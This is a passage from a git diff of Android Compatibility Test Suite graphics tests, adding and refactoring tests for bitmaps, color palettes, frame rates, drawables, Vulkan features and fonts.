+        ColorSpace colorSpace = ColorSpace.get(ColorSpace.Named.BT2020);
+        ParcelableColorSpace parcelableColorSpace = new ParcelableColorSpace(colorSpace);
+        Bitmap bitmap = Bitmap.createBitmap(10, 10,
+                Bitmap.Config.RGBA_F16, false, parcelableColorSpace.getColorSpace());
+        assertNotNull(bitmap);
+        ColorSpace bitmapColorSpace = bitmap.getColorSpace();
+        assertNotNull(bitmapColorSpace);
+        assertEquals(colorSpace.getId(), bitmapColorSpace.getId());
+        assertEquals(parcelableColorSpace.getColorSpace(), bitmapColorSpace);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectTest.java b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
index 90943ce..8e32646 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Insets;
 import android.graphics.Rect;
 import android.os.Parcel;
 
@@ -443,6 +444,20 @@
         assertEquals(4, mRect.top);
         assertEquals(11, mRect.right);
         assertEquals(11, mRect.bottom);
+
+        mRect = new Rect(5, 5, 10, 10);
+        mRect.inset(Insets.of(1, 1, 2, 2));
+        assertEquals(6, mRect.left);
+        assertEquals(6, mRect.top);
+        assertEquals(8, mRect.right);
+        assertEquals(8, mRect.bottom);
+
+        mRect = new Rect(5, 5, 10, 10);
+        mRect.inset(1, 1, 2, 2);
+        assertEquals(6, mRect.left);
+        assertEquals(6, mRect.top);
+        assertEquals(8, mRect.right);
+        assertEquals(8, mRect.bottom);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index 46f3392..88f3f59 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -19,11 +19,9 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import android.app.UiAutomation;
-import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 import android.view.SurfaceControl;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -46,43 +44,27 @@
 
     @Before
     public void setUp() throws Exception {
-        long frameRateFlexibilityToken = 0;
-        final UiDevice uiDevice =
-                UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
+        // rate flexibility token. Switch to shell permission identity so we'll have the
+        // necessary permission when surface flinger checks.
+        UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity();
         try {
-            uiDevice.wakeUp();
-            uiDevice.executeShellCommand("wm dismiss-keyguard");
-            // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
-            // rate flexibility token. Switch to shell permission identity so we'll have the
-            // necessary permission when surface flinger checks.
-            UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
-            uiAutomation.adoptShellPermissionIdentity();
-            try {
-                frameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
-            } finally {
-                uiAutomation.dropShellPermissionIdentity();
-            }
-
-            // Setup succeeded. Take ownership of the frame rate flexibility token, if we were able
+            // Take ownership of the frame rate flexibility token, if we were able
             // to get one - we'll release it in tearDown().
-            mFrameRateFlexibilityToken = frameRateFlexibilityToken;
-            frameRateFlexibilityToken = 0;
-            if (mFrameRateFlexibilityToken == 0) {
-                Log.e(TAG,
-                        "Failed to acquire frame rate flexibility token."
-                                + " Frame rate tests may fail.");
-            }
+            mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
         } finally {
-            if (frameRateFlexibilityToken != 0) {
-                SurfaceControl.releaseFrameRateFlexibilityToken(frameRateFlexibilityToken);
-                frameRateFlexibilityToken = 0;
-            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+
+        if (mFrameRateFlexibilityToken == 0) {
+            Log.e(TAG, "Failed to acquire frame rate flexibility token."
+                    + " SetFrameRate tests may fail.");
         }
     }
 
     @After
     public void tearDown() {
-        final UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         if (mFrameRateFlexibilityToken != 0) {
             SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken);
             mFrameRateFlexibilityToken = 0;
@@ -90,15 +72,27 @@
     }
 
     @Test
-    public void testExactFrameRateMatch() throws InterruptedException {
+    public void testExactFrameRateMatch_Seamless() throws InterruptedException {
         FrameRateCtsActivity activity = mActivityRule.getActivity();
-        activity.testExactFrameRateMatch();
+        activity.testExactFrameRateMatch(/*shouldBeSeamless*/ true);
     }
 
     @Test
-    public void testFixedSource() throws InterruptedException {
+    public void testExactFrameRateMatch_NonSeamless() throws InterruptedException {
         FrameRateCtsActivity activity = mActivityRule.getActivity();
-        activity.testFixedSource();
+        activity.testExactFrameRateMatch(/*shouldBeSeamless*/ false);
+    }
+
+    @Test
+    public void testFixedSource_Seamless() throws InterruptedException {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testFixedSource(/*shouldBeSeamless*/ true);
+    }
+
+    @Test
+    public void testFixedSource_NonSeamless() throws InterruptedException {
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
+        activity.testFixedSource(/*shouldBeSeamless*/ false);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
index 455f59e..b7c7a18 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
@@ -34,14 +34,16 @@
         assertEquals(TileMode.CLAMP, TileMode.valueOf("CLAMP"));
         assertEquals(TileMode.MIRROR, TileMode.valueOf("MIRROR"));
         assertEquals(TileMode.REPEAT, TileMode.valueOf("REPEAT"));
+        assertEquals(TileMode.DECAL, TileMode.valueOf("DECAL"));
     }
 
     @Test
     public void testValues() {
         TileMode[] tileMode = TileMode.values();
-        assertEquals(3, tileMode.length);
+        assertEquals(4, tileMode.length);
         assertEquals(TileMode.CLAMP, tileMode[0]);
         assertEquals(TileMode.REPEAT, tileMode[1]);
         assertEquals(TileMode.MIRROR, tileMode[2]);
+        assertEquals(TileMode.DECAL, tileMode[3]);
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..5e0d4f6
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+import android.util.Pair;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+    private static final double MAX_CHROMA_DISTANCE = 0.1;
+    private static final String LOG_TAG = SystemPalette.class.getSimpleName();
+
+    @Test
+    public void testShades0and1000() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int primary0 = context.getColor(R.color.system_primary_0);
+        final int primary1000 = context.getColor(R.color.system_primary_1000);
+        final int secondary0 = context.getColor(R.color.system_secondary_0);
+        final int secondary1000 = context.getColor(R.color.system_secondary_1000);
+        final int neutral0 = context.getColor(R.color.system_neutral_0);
+        final int neutral1000 = context.getColor(R.color.system_neutral_1000);
+        assertColor(primary0, Color.WHITE);
+        assertColor(primary1000, Color.BLACK);
+        assertColor(secondary0, Color.WHITE);
+        assertColor(secondary1000, Color.BLACK);
+        assertColor(neutral0, Color.WHITE);
+        assertColor(neutral1000, Color.BLACK);
+    }
+
+    @Test
+    public void testAllColorsBelongToSameFamily() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
+
+        for (int i = 2; i < primaryColors.length - 1; i++) {
+            assertWithMessage("Primary color " + Integer.toHexString((primaryColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(primaryColors[i]))
+                    .that(similarChroma(primaryColors[i - 1], primaryColors[i])).isTrue();
+            assertWithMessage("Secondary color " + Integer.toHexString((secondaryColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(
+                    secondaryColors[i]))
+                    .that(similarChroma(secondaryColors[i - 1], secondaryColors[i])).isTrue();
+            assertWithMessage("Neutral color " + Integer.toHexString((neutralColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(neutralColors[i]))
+                    .that(similarChroma(neutralColors[i - 1], neutralColors[i])).isTrue();
+        }
+    }
+
+    /**
+     * Compare if color A and B have similar color, in LAB space.
+     *
+     * @param colorA Color 1
+     * @param colorB Color 2
+     * @return True when colors have similar chroma.
+     */
+    private boolean similarChroma(@ColorInt int colorA, @ColorInt int colorB) {
+        final double[] labColor1 = new double[3];
+        final double[] labColor2 = new double[3];
+
+        ColorUtils.RGBToLAB(Color.red(colorA), Color.green(colorA), Color.blue(colorA), labColor1);
+        ColorUtils.RGBToLAB(Color.red(colorB), Color.green(colorB), Color.blue(colorB), labColor2);
+
+        labColor1[1] = (labColor1[1] + 128.0) / 256;
+        labColor1[2] = (labColor1[2] + 128.0) / 256;
+        labColor2[1] = (labColor2[1] + 128.0) / 256;
+        labColor2[2] = (labColor2[2] + 128.0) / 256;
+
+        return (Math.abs(labColor1[1] - labColor2[1]) < MAX_CHROMA_DISTANCE)
+                && (Math.abs(labColor1[2] - labColor2[2]) < MAX_CHROMA_DISTANCE);
+    }
+
+    @Test
+    public void testColorsMatchExpectedLuminosity() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
+
+        final double[] labPrimary = new double[3];
+        final double[] labSecondary = new double[3];
+        final double[] labNeutral = new double[3];
+        final double[] expectedL = {100, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
+
+        for (int i = 0; i < primaryColors.length; i++) {
+            ColorUtils.RGBToLAB(Color.red(primaryColors[i]), Color.green(primaryColors[i]),
+                    Color.blue(primaryColors[i]), labPrimary);
+            ColorUtils.RGBToLAB(Color.red(secondaryColors[i]), Color.green(secondaryColors[i]),
+                    Color.blue(secondaryColors[i]), labSecondary);
+            ColorUtils.RGBToLAB(Color.red(neutralColors[i]), Color.green(neutralColors[i]),
+                    Color.blue(neutralColors[i]), labNeutral);
+
+            // Colors in the same palette should vary mostly in L, decreasing lightness as we move
+            // across the palette.
+            assertWithMessage("Color " + Integer.toHexString((primaryColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labPrimary[0]).isWithin(3).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((secondaryColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labSecondary[0]).isWithin(3).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((neutralColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labNeutral[0]).isWithin(3).of(expectedL[i]);
+        }
+    }
+
+    @Test
+    public void testContrastRatio() {
+        final Context context = getInstrumentation().getTargetContext();
+
+        final List<Pair<Integer, Integer>> atLeast4dot5 = Arrays.asList(new Pair<>(0, 500),
+                new Pair<>(50, 600), new Pair<>(100, 600), new Pair<>(200, 700),
+                new Pair<>(300, 800), new Pair<>(400, 900), new Pair<>(500, 1000));
+        final List<Pair<Integer, Integer>> atLeast3dot0 = Arrays.asList(new Pair<>(0, 400),
+                new Pair<>(50, 500), new Pair<>(100, 500), new Pair<>(200, 600),
+                new Pair<>(300, 700), new Pair<>(400, 800), new Pair<>(500, 900),
+                new Pair<>(600, 1000));
+
+        final int[] primaryColors = getAllPrimaryColors(context);
+        final int[] secondaryColors = getAllSecondaryColors(context);
+        final int[] neutralColors = getAllNeutralColors(context);
+
+        for (int[] palette: Arrays.asList(primaryColors, secondaryColors, neutralColors)) {
+            for (Pair<Integer, Integer> shades: atLeast4dot5) {
+                final int background = palette[shadeToArrayIndex(shades.first)];
+                final int foreground = palette[shadeToArrayIndex(shades.second)];
+                final double contrast = ColorUtils.calculateContrast(foreground, background);
+                assertWithMessage("Shade " + shades.first + " (#" + Integer.toHexString(background)
+                        + ") should have at least 4.5 contrast ratio against " + shades.second
+                        + " (#" + Integer.toHexString(foreground) + ")").that(contrast)
+                        .isGreaterThan(4.5);
+            }
+
+            for (Pair<Integer, Integer> shades: atLeast3dot0) {
+                final int background = palette[shadeToArrayIndex(shades.first)];
+                final int foreground = palette[shadeToArrayIndex(shades.second)];
+                final double contrast = ColorUtils.calculateContrast(foreground, background);
+                assertWithMessage("Shade " + shades.first + " (#" + Integer.toHexString(background)
+                        + ") should have at least 3.0 contrast ratio against " + shades.second
+                        + " (#" + Integer.toHexString(foreground) + ")").that(contrast)
+                        .isGreaterThan(3);
+            }
+        }
+    }
+
+    /**
+     * Convert the Material shade to an array position.
+     *
+     * @param shade Shade from 0 to 1000.
+     * @return index in array
+     * @see #getAllPrimaryColors(Context)
+     * @see #getAllSecondaryColors(Context)
+     * @see #getAllNeutralColors(Context)
+     */
+    private int shadeToArrayIndex(int shade) {
+        if (shade == 0) {
+            return 0;
+        } else if (shade == 50) {
+            return 1;
+        } else {
+            return shade / 100 + 1;
+        }
+    }
+
+    private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+        Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+                        + Integer.toHexString(expected) + " expected",
+                observed, expected);
+    }
+
+    private int[] getAllPrimaryColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_primary_0);
+        colors[1] = context.getColor(R.color.system_primary_50);
+        colors[2] = context.getColor(R.color.system_primary_100);
+        colors[3] = context.getColor(R.color.system_primary_200);
+        colors[4] = context.getColor(R.color.system_primary_300);
+        colors[5] = context.getColor(R.color.system_primary_400);
+        colors[6] = context.getColor(R.color.system_primary_500);
+        colors[7] = context.getColor(R.color.system_primary_600);
+        colors[8] = context.getColor(R.color.system_primary_700);
+        colors[9] = context.getColor(R.color.system_primary_800);
+        colors[10] = context.getColor(R.color.system_primary_900);
+        colors[11] = context.getColor(R.color.system_primary_1000);
+        return colors;
+    }
+
+    private int[] getAllSecondaryColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_secondary_0);
+        colors[1] = context.getColor(R.color.system_secondary_50);
+        colors[2] = context.getColor(R.color.system_secondary_100);
+        colors[3] = context.getColor(R.color.system_secondary_200);
+        colors[4] = context.getColor(R.color.system_secondary_300);
+        colors[5] = context.getColor(R.color.system_secondary_400);
+        colors[6] = context.getColor(R.color.system_secondary_500);
+        colors[7] = context.getColor(R.color.system_secondary_600);
+        colors[8] = context.getColor(R.color.system_secondary_700);
+        colors[9] = context.getColor(R.color.system_secondary_800);
+        colors[10] = context.getColor(R.color.system_secondary_900);
+        colors[11] = context.getColor(R.color.system_secondary_1000);
+        return colors;
+    }
+
+    private int[] getAllNeutralColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_neutral_0);
+        colors[1] = context.getColor(R.color.system_neutral_50);
+        colors[2] = context.getColor(R.color.system_neutral_100);
+        colors[3] = context.getColor(R.color.system_neutral_200);
+        colors[4] = context.getColor(R.color.system_neutral_300);
+        colors[5] = context.getColor(R.color.system_neutral_400);
+        colors[6] = context.getColor(R.color.system_neutral_500);
+        colors[7] = context.getColor(R.color.system_neutral_600);
+        colors[8] = context.getColor(R.color.system_neutral_700);
+        colors[9] = context.getColor(R.color.system_neutral_800);
+        colors[10] = context.getColor(R.color.system_neutral_900);
+        colors[11] = context.getColor(R.color.system_neutral_1000);
+        return colors;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a11406c..23f533c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -17,6 +17,7 @@
 package android.graphics.cts;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
@@ -27,6 +28,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PropertyUtil;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -71,17 +73,20 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion != null
-                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
-            if (DEBUG) {
-                Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
-                        + " has an acceptable value");
-            }
-            assertTrue("Feature " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL + " must be present "
-                            + "and have at least version " + MINIMUM_VULKAN_DEQP_LEVEL,
-                    mPm.hasSystemFeature(PackageManager.FEATURE_VULKAN_DEQP_LEVEL,
-                            MINIMUM_VULKAN_DEQP_LEVEL));
+        assumeTrue(
+                "Test does not apply for vendor image with API level lower than Android 11",
+                PropertyUtil.isVendorApiLevelNewerThan(28));
+        assumeTrue(
+                "Test does not apply if Vulkan 1.0 or higher is not supported",
+                mVulkanHardwareVersion != null && mVulkanHardwareVersion.version >= VULKAN_1_0);
+        if (DEBUG) {
+            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
+                    + " has an acceptable value");
         }
+        assertTrue("Feature " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL + " must be present "
+                + "and have at least version " + MINIMUM_VULKAN_DEQP_LEVEL,
+                mPm.hasSystemFeature(PackageManager.FEATURE_VULKAN_DEQP_LEVEL,
+                        MINIMUM_VULKAN_DEQP_LEVEL));
     }
 
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index 14d3000..d461535 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -143,15 +143,11 @@
         return mContext.getPackageManager().hasSystemFeature(requiredFeature);
     }
 
-    private static Bitmap takeScreenshot() {
+    private static Bitmap takeScreenshot(int width, int height) {
         assertNotNull("sActivity should not be null", sActivity);
-        Rect srcRect = new Rect();
-        sActivity.findViewById(R.id.surfaceview).getGlobalVisibleRect(srcRect);
         SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        Bitmap dest =
-                Bitmap.createBitmap(srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
-        int copyResult =
-                copy.request((SurfaceView) sActivity.findViewById(R.id.surfaceview), srcRect, dest);
+        Bitmap dest = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        int copyResult = copy.request((SurfaceView) sActivity.findViewById(R.id.surfaceview), dest);
         assertEquals("PixelCopy failed", PixelCopy.SUCCESS, copyResult);
         return dest;
     }
@@ -168,11 +164,9 @@
     }
 
     private static boolean validatePixelValuesAfterRotation(
-            boolean setPreTransform, int preTransformHint) {
-        Bitmap bitmap = takeScreenshot();
+            int width, int height, boolean setPreTransform, int preTransformHint) {
+        Bitmap bitmap = takeScreenshot(width, height);
 
-        int width = bitmap.getWidth();
-        int height = bitmap.getHeight();
         int diff = 0;
         if (!setPreTransform || preTransformHint == 0x1 /*VK_SURFACE_TRANSFORM_IDENTITY_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 255, 0, 0);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 453f1ad..da2eb16 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -121,9 +121,8 @@
     }
 
     private AnimatedImageDrawable createFromImageDecoder(int resId) {
-        Uri uri = null;
+        Uri uri = Utils.getAsResourceUri(resId);
         try {
-            uri = Utils.getAsResourceUri(resId);
             ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
             Drawable drawable = ImageDecoder.decodeDrawable(source);
             assertTrue(drawable instanceof AnimatedImageDrawable);
@@ -134,6 +133,19 @@
         }
     }
 
+    private Bitmap decodeBitmap(int resId) {
+        Uri uri = Utils.getAsResourceUri(resId);
+        try {
+            ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
+            return ImageDecoder.decodeBitmap(source, (decoder, info, src) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed to create Bitmap from " + uri);
+            return null;
+        }
+    }
+
     @Test
     public void testDecodeAnimatedImageDrawable() {
         Drawable drawable = createFromImageDecoder(RES_ID);
@@ -426,7 +438,7 @@
         assertTrue(drawable.isRunning());
     }
 
-    private static Object[] parametersForTestEncodedRepeats() {
+    public static Object[] parametersForTestEncodedRepeats() {
         return new Object[] {
             new Object[] { R.drawable.animated, AnimatedImageDrawable.REPEAT_INFINITE },
             new Object[] { R.drawable.animated_one_loop, 1 },
@@ -480,6 +492,35 @@
     }
 
     @Test
+    public void testExif() {
+        // This animation has an exif orientation that makes it match R.drawable.animated (RES_ID).
+        AnimatedImageDrawable exifAnimation = createFromImageDecoder(R.drawable.animated_webp);
+
+        Bitmap expected = decodeBitmap(RES_ID);
+        final int width = expected.getWidth();
+        final int height = expected.getHeight();
+
+        assertEquals(width, exifAnimation.getIntrinsicWidth());
+        assertEquals(height, exifAnimation.getIntrinsicHeight());
+
+        Bitmap actual = Bitmap.createBitmap(width, height, expected.getConfig(),
+                expected.hasAlpha(), expected.getColorSpace());
+        {
+            Canvas canvas = new Canvas(actual);
+            exifAnimation.setBounds(0, 0, width, height);
+            exifAnimation.draw(canvas);
+        }
+
+        // mseMargin was chosen by looking at the logs. The images are not exactly
+        // the same due to the fact that animated_webp's frames are encoded lossily,
+        // but the two images are perceptually identical.
+        final int mseMargin = 143;
+        final boolean lessThanMargin = true;
+        BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, lessThanMargin,
+                expected.isPremultiplied());
+    }
+
+    @Test
     public void testPostProcess() {
         // Compare post processing a Rect in the middle of the (not-animating)
         // image with drawing manually. They should be exactly the same.
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index ec44400..c0ef374 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -265,9 +265,6 @@
 
         for (int x = rangeRect.left; x < rangeRect.right; x++) {
             for (int y = rangeRect.top; y < rangeRect.bottom; y++) {
-                if (image1.getPixel(x, y) != image2.getPixel(x, y)) {
-                    return false;
-                }
                 int color1 = image1.getPixel(x, y);
                 int color2 = image2.getPixel(x, y);
                 int rDiff = Math.abs(Color.red(color1) - Color.red(color2));
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 60f7b0a..a371932 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -559,4 +559,19 @@
             resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
         }
     }
+
+    @Test
+    public void testSetBitmap() {
+        Resources resources = mContext.getResources();
+        Bitmap source = BitmapFactory.decodeResource(resources, R.raw.testimage);
+        BitmapDrawable bitmapDrawable = new BitmapDrawable(resources, source);
+        assertSame(source, bitmapDrawable.getBitmap());
+
+        Bitmap bm = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmapDrawable.setBitmap(bm);
+        assertSame(bm, bitmapDrawable.getBitmap());
+
+        bitmapDrawable.setBitmap(null);
+        assertNull(bitmapDrawable.getBitmap());
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
index 30afaf9..dc24514 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
@@ -17,6 +17,7 @@
 package android.graphics.drawable.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
@@ -125,6 +126,21 @@
     }
 
     @Test
+    public void testStyle() {
+        final int invalid = -1;
+        RippleDrawable dr = new RippleDrawable(ColorStateList.valueOf(Color.RED), null, null);
+        assertEquals(RippleDrawable.STYLE_SOLID, dr.getRippleStyle());
+        dr.setRippleStyle(RippleDrawable.STYLE_PATTERNED);
+        assertEquals(RippleDrawable.STYLE_PATTERNED, dr.getRippleStyle());
+        try {
+            dr.setRippleStyle(invalid);
+            fail();
+        } catch (IllegalArgumentException e) {
+            assertEquals(RippleDrawable.STYLE_PATTERNED, dr.getRippleStyle());
+        }
+    }
+
+    @Test
     public void testSetColor() {
         Drawable.Callback cb = mock(Drawable.Callback.class);
         RippleDrawable dr = new RippleDrawable(ColorStateList.valueOf(Color.RED), null, null);
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
index 27c4e22..25b736d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
 import android.content.res.AssetManager;
@@ -46,7 +45,7 @@
         FontFamily family = new FontFamily.Builder(font).build();
         assertNotNull(family);
         assertEquals(1, family.getSize());
-        assertSame(font, family.getFont(0));
+        assertEquals(font, family.getFont(0));
     }
 
     @Test
@@ -60,8 +59,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == boldFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == boldFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(boldFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(boldFont));
     }
 
     @Test
@@ -75,8 +74,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == boldFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == boldFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(boldFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(boldFont));
     }
 
     @Test
@@ -90,8 +89,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == italicFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == italicFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(italicFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(italicFont));
     }
 
     @Test(expected = IllegalArgumentException.class)
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java
new file mode 100644
index 0000000..859022c
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java
